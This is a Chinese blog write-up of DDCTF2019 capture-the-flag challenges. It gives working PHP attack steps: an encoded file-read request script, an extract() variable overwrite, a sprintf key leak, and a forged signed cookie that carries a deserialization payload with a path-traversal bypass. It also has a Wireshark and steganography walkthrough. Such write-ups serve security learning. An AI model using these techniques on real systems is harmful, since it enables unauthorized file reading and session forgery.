Ywc's blog

DDCTF2019

Word count: 2.5kReading time: 13 min
2019/04/15

WEB

滴~

进入发现?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09有点像文件读取,应该可以读取敏感文
件,但是不可以直接输入敏感文件的明文
DDCTF2019
其中TmpZMlF6WXhOamN5UlRaQk56QTJOdz09 应该是通过加密后得到
两次base64,一次base16解密后得到 flag.jpg 得知加密规则
可以写一个python脚本方便操作:

1
2
3
4
5
6
7
import base64
import requests
s = 'index.php'
jpg = base64.b64encode(base64.b64encode("".join("{:02x}".format(ord(c)) for c in s).encode('utf-8'))).decode('utf-8')
r = requests.get('http://117.51.150.246/index.php', params={'jpg': jpg})
print(r.url)
print(r.text)

将index.php解密后得到TmprMlJUWTBOalUzT0RKRk56QTJPRGN3
尝试文件读取:?jpg=TmprMlJUWTBOalUzT0RKRk56QTJPRGN3,界面没有东西,查看源码得到:
DDCTF2019
发现可以直接base64解码,得到index.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
/*
* https://blog.csdn.net/FengBanLiuYun/article/details/80616607
* Date: July 4,2018
*/
error_reporting(E_ALL || ~E_NOTICE);


header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09');
$file = hex2bin(base64_decode(base64_decode($_GET['jpg'])));
echo '<title>'.$_GET['jpg'].'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'</br>';
$file = str_replace("config","!", $file);
echo $file.'</br>';
$txt = base64_encode(file_get_contents($file));

echo "<img src='data:image/gif;base64,".$txt."'></img>";
/*
* Can you find the flag file?
*
*/

?>

可以看到我们可以任意读取文件,但有过滤,限制了只能为数字和字母,且 config 会被转换为感叹号。多番尝试无法绕过。
到 index.php 开头注释里的博客看看,没啥东西。那么到博客里的其他文章转转。发现有这么一篇,进去看看。
DDCTF2019
发现有practice.txt.swp文件名
DDCTF2019
直接访问,发现f1ag!ddctf.php
DDCTF2019
但如果要读取这个文件,直接读取的话感叹号会被过滤。想输入感叹号得用上前面的规则,也就是 config 被替换为感叹号
!换成config,将f1agconfigddctf.php使用同样编码方式编码后,放入?jpg后,查看源码发现一串字符传,base64解码得到config.php的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
include('config.php');
$k = 'hello';
extract($_GET);
if(isset($uid))
{
$content=trim(file_get_contents($k));
if($uid==$content)
{
echo $flag;
}
else
{
echo'hello';
}
}

?>

变量覆盖
get传参?k=&uid=
得到flag
DDCTF2019

签到题

靶机:http://117.51.158.44/index.php
1、打开靶机,发现是这个页面。
DDCTF2019
2、查看一下页面源代码,发现 js/index.js 中有东西,它请求了 /app/Auth.php 这个地址。还带上了 didictf_username 这个头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/**
* Created by PhpStorm.
* User: didi
* Date: 2019/1/13
* Time: 9:05 PM
*/

function auth() {
$.ajax({
type: "post",
url:"http://117.51.158.44/app/Auth.php",
contentType: "application/json;charset=utf-8",
dataType: "json",
beforeSend: function (XMLHttpRequest) {
XMLHttpRequest.setRequestHeader("didictf_username", "");
},
success: function (getdata) {
console.log(getdata);
if(getdata.data !== '') {
document.getElementById('auth').innerHTML = getdata.data;
}
},error:function(error){
console.log(error);
}
});
}

3.带上didictf_username=admin这个头访问/app/Auth.php地址试试
DDCTF2019
DDCTF2019
发先已经进去了,访问 app/fL2XID2i0Cdh.php,获得两个文件源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
url:app/Application.php


Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}



url:app/Session.php


include 'Application.php';
class Session extends Application {

//key建议为8位字符串
var $eancrykey = '';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}
private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}
public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}
$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);
if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}
if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;
}
private function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = array(
'session_id' => md5(uniqid($sessionid,TRUE)),
'ip_address' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'],
'user_data' => '',
);
$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);
}
}
$ddctf = new Session();
$ddctf->index();

4.先带 Header 访问一下 /app/Session.php,获取到 ddctf_id 这个 Cookie。
DDCTF2019
5.审计源码,发现我们先获取 eancrykey 试试比较合适。 nickname 传 %s,第二次 format 的时候就会把 eancrykey 给格式化上了。

1
2
3
4
5
6
7
8
if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

6.然后构造 POST 请求。记住带上 Header。然后就可以获取到 eancrykey 了。
DDCTF2019
7.然后继续审计源码,发现有对输入反序列化。
unserialize($session);
8.再来看看刚才拿到的 ctf_id,发现里面是序列化后的结果。这个就是 Session 对象了
DDCTF2019
9.再来看 Application 对象的源码,里面的析构方法会在对象销毁时检查 path 这个成员变量,长度为 18 就会读取 path 所指向的那个文件。又根据下面的源码推测 flag 在 ../config/flag.txt。

1
2
3
4
5
6
7
8
9
10
11
12
public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}

10.那么我们就把它的源码拷下来,用它的源码和 eancrykey 给自己序列化之后的对象签名了。同时注意 path 这个变量,由于对 ../ 有过滤,path 我们得写成 …/./config/flag.txt 来绕过过滤。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
<?php
/**
* Created by PhpStorm.
* User: jinzhao
* Date: 2019/4/12
* Time: 1:06 PM
*/


Class Application {
var $path = '';


public function response($data, $errMsg = 'success') {
$ret = ['errMsg' => $errMsg,
'data' => $data];
$ret = json_encode($ret);
header('Content-type: application/json');
echo $ret;

}

public function auth() {
$DIDICTF_ADMIN = 'admin';
if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
$this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
return TRUE;
}else{
$this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
exit();
}

}
private function sanitizepath($path) {
$path = trim($path);
$path=str_replace('../','',$path);
$path=str_replace('..\\','',$path);
return $path;
}

public function __destruct() {
if(empty($this->path)) {
exit();
}else{
$path = $this->sanitizepath($this->path);
echo "\n".strlen($path);
if(strlen($path) !== 18) {
exit();
}
$this->response($data=file_get_contents($path),'Congratulations');
}
exit();
}
}

class Session extends Application {
var $path = '..././config/flag.txt';

//key建议为8位字符串
var $eancrykey = 'EzblrbNS';
var $cookie_expiration = 7200;
var $cookie_name = 'ddctf_id';
var $cookie_path = '';
var $cookie_domain = '';
var $cookie_secure = FALSE;
var $activity = "DiDiCTF";
var $session_id = 'e989f2486e618ad5fa6d5e732acaa589';
var $ip_address = '116.136.20.161';
var $user_agent = '';
var $user_data = '';


public function index()
{
if(parent::auth()) {
$this->get_key();
if($this->session_read()) {
$data = 'DiDI Welcome you %s';
$data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
parent::response($data,'sucess');
}else{
$this->session_create();
$data = 'DiDI Welcome you';
parent::response($data,'sucess');
}
}

}

private function get_key() {
//eancrykey and flag under the folder
$this->eancrykey = file_get_contents('../config/key.txt');
}

public function session_read() {
if(empty($_COOKIE)) {
return FALSE;
}

$session = $_COOKIE[$this->cookie_name];
if(!isset($session)) {
parent::response("session not found",'error');
return FALSE;
}
$hash = substr($session,strlen($session)-32);
$session = substr($session,0,strlen($session)-32);

if($hash !== md5($this->eancrykey.$session)) {
parent::response("the cookie data not match",'error');
return FALSE;
}
$session = unserialize($session);


if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
return FALSE;
}

if(!empty($_POST["nickname"])) {
$arr = array($_POST["nickname"],$this->eancrykey);
$data = "Welcome my friend %s";
foreach ($arr as $k => $v) {
$data = sprintf($data,$v);
}
parent::response($data,"Welcome");
}

if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
parent::response('the ip addree not match'.'error');
return FALSE;
}
if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
parent::response('the user agent not match','error');
return FALSE;
}
return TRUE;

}

public function session_create() {
$sessionid = '';
while(strlen($sessionid) < 32) {
$sessionid .= mt_rand(0,mt_getrandmax());
}

$userdata = $this;

$cookiedata = serialize($userdata);
$cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
$expire = $this->cookie_expiration + time();
setcookie(
$this->cookie_name,
$cookiedata,
$expire,
$this->cookie_path,
$this->cookie_domain,
$this->cookie_secure
);

return $cookiedata;

}
}

$ddctf = new Session();
echo $ddctf->session_create();

11.运行这个脚本,得到序列化之后的对象。
DDCTF2019
12.放到 UrlEncode Encode 一下。
DDCTF2019
13.置 Cookie,请求。
DDCTF2019
flag到手~

MISC

Wireshark

发现有HTTP流,将HTTP文件全部导出,发现有一张图片。(其实这张图片根本没用2333)
DDCTF2019
发现其他文件有数据不对。尝试foremost提取,提取到一个1.7MB的图片和一张钥匙图片
修改图片高度发现key
DDCTF2019
使用在线图片解密隐藏信息(隐写术)工具网站http://tools.jb51.net/aideddesign/img_add_info
DDCTF2019
base16解密这串数字44444354467B5145576F6B63704865556F32574F6642494E37706F6749577346303469526A747D得到flag
DDCTF2019

CATALOG
  1. 1. WEB
    1. 1.1. 滴~
    2. 1.2. 签到题
  2. 2. MISC
    1. 2.1. Wireshark